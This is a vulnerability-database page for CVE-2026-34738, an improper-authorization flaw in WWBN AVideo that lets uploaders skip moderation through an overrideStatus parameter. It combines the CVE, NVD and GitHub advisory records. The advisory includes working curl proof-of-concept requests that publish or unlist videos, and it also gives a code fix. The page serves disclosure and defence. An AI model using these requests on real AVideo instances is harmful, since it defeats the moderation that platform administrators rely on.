Vulnerability-Lookup

CVE-2026-34738 (GCVE-0-2026-34738)

Vulnerability from cvelistv5 – Published: 2026-03-31 20:55 – Updated: 2026-04-01 15:53

Title

AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter

Summary

WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes. At time of publication, there are no publicly available patches.

Severity ?

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M

References

URL

Tags

https://github.com/WWBN/AVideo/security/advisorie…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34738",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-01T15:46:27.176573Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-01T15:53:23.775Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video\u0027s status to any valid state, including \"active\" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes. At time of publication, there are no publicly available patches."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-31T20:55:09.083Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j"
        }
      ],
      "source": {
        "advisory": "GHSA-m577-w9j8-ch7j",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34738",
    "datePublished": "2026-03-31T20:55:09.083Z",
    "dateReserved": "2026-03-30T18:41:20.754Z",
    "dateUpdated": "2026-04-01T15:53:23.775Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-34738\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-31T21:16:32.410\",\"lastModified\":\"2026-04-01T18:42:05.013\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video\u0027s status to any valid state, including \\\"active\\\" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes. At time of publication, there are no publicly available patches.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\",\"baseScore\":4.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":1.4}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-285\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"26.0\",\"matchCriteriaId\":\"774C24F1-9D26-484F-B931-1DA107C8F588\"}]}]}],\"references\":[{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter\", \"problemTypes\": [{\"descriptions\": [{\"cweId\": \"CWE-285\", \"lang\": \"en\", \"description\": \"CWE-285: Improper Authorization\", \"type\": \"CWE\"}]}], \"metrics\": [{\"cvssV3_1\": {\"attackComplexity\": \"LOW\", \"attackVector\": \"NETWORK\", \"availabilityImpact\": \"NONE\", \"baseScore\": 4.3, \"baseSeverity\": \"MEDIUM\", \"confidentialityImpact\": \"NONE\", \"integrityImpact\": \"LOW\", \"privilegesRequired\": \"LOW\", \"scope\": \"UNCHANGED\", \"userInteraction\": \"NONE\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\", \"version\": \"3.1\"}}], \"references\": [{\"name\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j\", \"tags\": [\"x_refsource_CONFIRM\"], \"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j\"}], \"affected\": [{\"vendor\": \"WWBN\", \"product\": \"AVideo\", \"versions\": [{\"version\": \"\u003c= 26.0\", \"status\": \"affected\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-31T20:55:09.083Z\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video\u0027s status to any valid state, including \\\"active\\\" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes. At time of publication, there are no publicly available patches.\"}], \"source\": {\"advisory\": \"GHSA-m577-w9j8-ch7j\", \"discovery\": \"UNKNOWN\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-34738\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-01T15:46:27.176573Z\"}}}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-04-01T15:46:35.881Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-34738\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"state\": \"PUBLISHED\", \"assignerShortName\": \"GitHub_M\", \"dateReserved\": \"2026-03-30T18:41:20.754Z\", \"datePublished\": \"2026-03-31T20:55:09.083Z\", \"dateUpdated\": \"2026-04-01T15:53:23.775Z\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-34738

Vulnerability from fkie_nvd - Published: 2026-03-31 21:16 - Updated: 2026-04-01 18:42

Severity ?

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video\u0027s status to any valid state, including \"active\" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes. At time of publication, there are no publicly available patches."
    }
  ],
  "id": "CVE-2026-34738",
  "lastModified": "2026-04-01T18:42:05.013",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-31T21:16:32.410",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-M577-W9J8-CH7J

Vulnerability from github – Published: 2026-04-01 21:07 – Updated: 2026-04-01 21:07

Summary

AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter

Details

Summary

AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.

Details

At objects/video.php:1055-1056, the video object checks for an overrideStatus parameter in the request and applies it directly:

if (!empty($_REQUEST['overrideStatus'])) {
    return $this->setStatus($_REQUEST['overrideStatus']);
}

This code is reached from two entry points: - objects/videoAddNew.json.php:157 - when adding a new video - objects/aVideoEncoder.json.php:114 - when processing an encoded video

The setStatus() method validates that the provided status code is one of the recognized values (a, k, i, h, e, x, d, t, u, s, r, f, b, p, c) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.

The relevant status codes include: - a - Active (published and publicly visible) - k - Draft (pending review) - i - Inactive - e - Encoding - x - Deleted - u - Unlisted

When an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including overrideStatus=a in their upload request.

Proof of Concept

Assume the AVideo instance has moderation enabled (new videos default to draft status k).
Upload a video as a regular user, including the overrideStatus parameter:

curl -b "PHPSESSID=USER_SESSION" \
  -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
  -F "title=Bypassed Moderation" \
  -F "description=This video skips the review queue" \
  -F "videoLink=https://example.com/video.mp4" \
  -F "overrideStatus=a"

The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.
Verify the video is publicly accessible:

curl -s "https://your-avideo-instance.com/video/VIDEO_CLEAN_TITLE" | grep -o "<title>.*</title>"

An uploader can also use this to set other statuses:

# Set a video to "unlisted" even if the platform restricts this
curl -b "PHPSESSID=USER_SESSION" \
  -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
  -F "title=Unlisted Video" \
  -F "videoLink=https://example.com/video.mp4" \
  -F "overrideStatus=u"

Impact

Any user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like "unlisted" or "inactive" on their own videos, bypassing platform-level restrictions on these features.

CWE-285: Improper Authorization
Severity: Medium

Recommended Fix

Add an authorization check before applying the overrideStatus parameter at objects/video.php:1055:

// objects/video.php:1055
if (!empty($_REQUEST['overrideStatus']) && (User::isAdmin() || Permissions::canAdminVideos())) {
    return $this->setStatus($_REQUEST['overrideStatus']);
}

This ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.

Found by aisafe.io

Severity ?

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:07:24Z",
    "nvd_published_at": "2026-03-31T21:16:32Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAVideo\u0027s video processing pipeline accepts an `overrideStatus` request parameter that allows any uploader to set a video\u0027s status to any valid state, including \"active\" (`a`). This bypasses the admin-controlled moderation and draft workflows. The `setStatus()` method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.\n\n## Details\n\nAt `objects/video.php:1055-1056`, the video object checks for an `overrideStatus` parameter in the request and applies it directly:\n\n```php\nif (!empty($_REQUEST[\u0027overrideStatus\u0027])) {\n    return $this-\u003esetStatus($_REQUEST[\u0027overrideStatus\u0027]);\n}\n```\n\nThis code is reached from two entry points:\n- `objects/videoAddNew.json.php:157` - when adding a new video\n- `objects/aVideoEncoder.json.php:114` - when processing an encoded video\n\nThe `setStatus()` method validates that the provided status code is one of the recognized values (`a`, `k`, `i`, `h`, `e`, `x`, `d`, `t`, `u`, `s`, `r`, `f`, `b`, `p`, `c`) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.\n\nThe relevant status codes include:\n- `a` - Active (published and publicly visible)\n- `k` - Draft (pending review)\n- `i` - Inactive\n- `e` - Encoding\n- `x` - Deleted\n- `u` - Unlisted\n\nWhen an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including `overrideStatus=a` in their upload request.\n\n## Proof of Concept\n\n1. Assume the AVideo instance has moderation enabled (new videos default to draft status `k`).\n\n2. Upload a video as a regular user, including the `overrideStatus` parameter:\n\n```bash\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n  -F \"title=Bypassed Moderation\" \\\n  -F \"description=This video skips the review queue\" \\\n  -F \"videoLink=https://example.com/video.mp4\" \\\n  -F \"overrideStatus=a\"\n```\n\n3. The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.\n\n4. Verify the video is publicly accessible:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/video/VIDEO_CLEAN_TITLE\" | grep -o \"\u003ctitle\u003e.*\u003c/title\u003e\"\n```\n\n5. An uploader can also use this to set other statuses:\n\n```bash\n# Set a video to \"unlisted\" even if the platform restricts this\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n  -F \"title=Unlisted Video\" \\\n  -F \"videoLink=https://example.com/video.mp4\" \\\n  -F \"overrideStatus=u\"\n```\n\n## Impact\n\nAny user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform\u0027s ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like \"unlisted\" or \"inactive\" on their own videos, bypassing platform-level restrictions on these features.\n\n- **CWE-285**: Improper Authorization\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an authorization check before applying the `overrideStatus` parameter at `objects/video.php:1055`:\n\n```php\n// objects/video.php:1055\nif (!empty($_REQUEST[\u0027overrideStatus\u0027]) \u0026\u0026 (User::isAdmin() || Permissions::canAdminVideos())) {\n    return $this-\u003esetStatus($_REQUEST[\u0027overrideStatus\u0027]);\n}\n```\n\nThis ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-m577-w9j8-ch7j",
  "modified": "2026-04-01T21:07:24Z",
  "published": "2026-04-01T21:07:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m577-w9j8-ch7j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/34f0237e2449d2e564a69fe3c5c71c830f5d11fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34738 (GCVE-0-2026-34738)

FKIE_CVE-2026-34738

GHSA-M577-W9J8-CH7J

Summary

Details

Proof of Concept

Impact

Recommended Fix

Tags

Sightings

Nomenclature